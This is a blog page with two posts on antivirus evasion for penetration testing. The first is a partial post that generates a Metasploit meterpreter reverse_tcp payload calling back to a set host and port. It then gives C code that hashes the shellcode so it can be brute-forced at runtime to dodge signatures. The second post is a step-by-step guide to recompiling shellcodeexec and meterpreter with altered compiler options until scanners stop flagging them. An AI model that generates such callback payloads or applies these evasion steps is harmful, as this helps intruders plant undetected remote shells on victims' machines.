Let’s generate the shellcode that is being detected:

cd /opt/metasploit-4.5.0/app
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=10.50.0.103 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

Which looks like this:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2[...]

That doesn’t look to hard to obfuscate does it? Let’s go at it one step at the time. First we decide what hashing algorithm we want to use. For the POC implementation I went with CRC32 which is fast and the code is small. Then you have to decide how much data you want to brute force, the more data you brute force the longer it takes. So I went for a 3 character brute force. Now that we know all this we can get hands-on and build the obfuscator and then implement the bruteforcer into shellcodeexec. The obfuscator looks like this:

void genhashes(char *s,int len,int steps){
	int i,j;
	char *data = (char *)malloc(steps);
	memset(data,0,steps);

	printf("\n");
	for(i=0;i<len;i+=steps){
		for(j=0;j<steps;j++){
			data[j] = s[i+j];
		}
		printf("%u,",crc32(&data[0],strlen(data)));
	}
	free(data);
}

Like you can see it loops through the string and hashes per the given amount of characters, which are outputted in C array friendly format. So now your payload looks like this:

4152682635,2930860581,2930860581,2930860581,2930860581,2930860581,4135321336,919810150,[...]

Continue reading

AV evasion: Recompiling & Optimizing FTW!

Posted in general, security with tags , , , , on January 19, 2013 by diablohorn

Lowering the detection rate of binaries can be done in two mayor ways like we all know:

  • modify the binary
  • modify the source

The first option one has a lot of articles on the internet covering it, so I’ll not be covering it, maybe in the feature. The second one is also a well known one, but not a often used one imo. A lot of people are either afraid of the source, don’t understand it or think they’ll brake it.

So let’s try and take those fears away, specially since it also requires minimal effort & time which can be a real PITA when you need to pwn a company in a couple of hours. Let’s take shellcodeexec as our first example and directly dive into the whole compiling thing. For the ones wondering what it is, Carnal0wnage has a great writeup on how to use it and what it is. You’ll need a compiler, which luckily for use there are tons of. To keep it simple I’ve used Visual Studio Express 2010. It’s a great IDE & Compiler in one and a lot of source just works. After downloading and installing it, here comes the “hard” part:

  • Download the shellcodeexec source
  • Extract it
  • Doubleclick on “shellcodeexec-master\windows\shellcodeexec\shellcodeexec.vcproj”
  • Click “Finish” on the conversion wizard window
  • Change Debug to Release

makerel

  • Then press F7
  • The executable appears in the folder “shellcodeexec-master\windows\Release”

So what do you think, was this enough to evade AV? Let’s have a look:

no-detection

Well that’s fun…a simple recompile lowered the detection rate from  37/46 to 0/46 or to put it simple, it’s now fully undetected. You now might ask, does this always work? Well no, but it sure does lower the detection rates. Let’s have a look at meterpreter for example, what happens when we recompile it?

lazyeasy

That didn’t exactly go as planned did it? On meterpreter it only accomplished:

  • 16/46 (fresh recompile)
  • 6/46 (adjusting to speed optimization)

Still if you are looking for an EASY way to lower the detection rate of your tool, this is pretty nice. Besides being easy it also gives you a lot of freedom to just change the code slightly and probably reach that much desired “fully undetected” goal.

Let’s have a quick look on how to compile meterpreter, just to make sure the internet has another reference on the subject.

All the previous steps still apply, but also make sure to unload the project “ext_server_sniffer”, although the answer can also be easily found by searching for the error. This is kinda all it takes to bring it down to the showed 16/46 from the normal 35/46 that meterpreter is rated when being uploaded for analysis. If you want to lower it further you can adjust the optimization options of the compiler. Depending on the project you want to adjust, the meterpreter one is called “metsrv”, right click on it and choose properties –> configuration properties –>c/c++ –> optimization:

opt

You can play with a lot of them, be careful this is that moment that you can actually break something. I’ve only played with “Optimization” and “Favor size or speed” which was enough to lower the detection rate to 6/46. Sometimes a project also contains dependency which if also modified could lower the detection rate even further. For meterpreter you can view this by right-clicking on the project and choosing “project dependencies”:

deps

We now have accomplished the following with minimal effort & time:

  • Make shellcodeexec FUD
  • Lower the detection rate of meterpreter drastically

We could try and make meterpreter FUD by changing even more compiler / linker options (or even the source itself), but this would require more testing, clicking, uploading and since I need to catch some sleep, I’ll leave that as an excersize for the reader. Hope you have fun recompiling all kind of tools out there and if you run into errors just copy/paste them into google or bing.

References

Follow

Get every new post delivered to your Inbox.

Join 32 other followers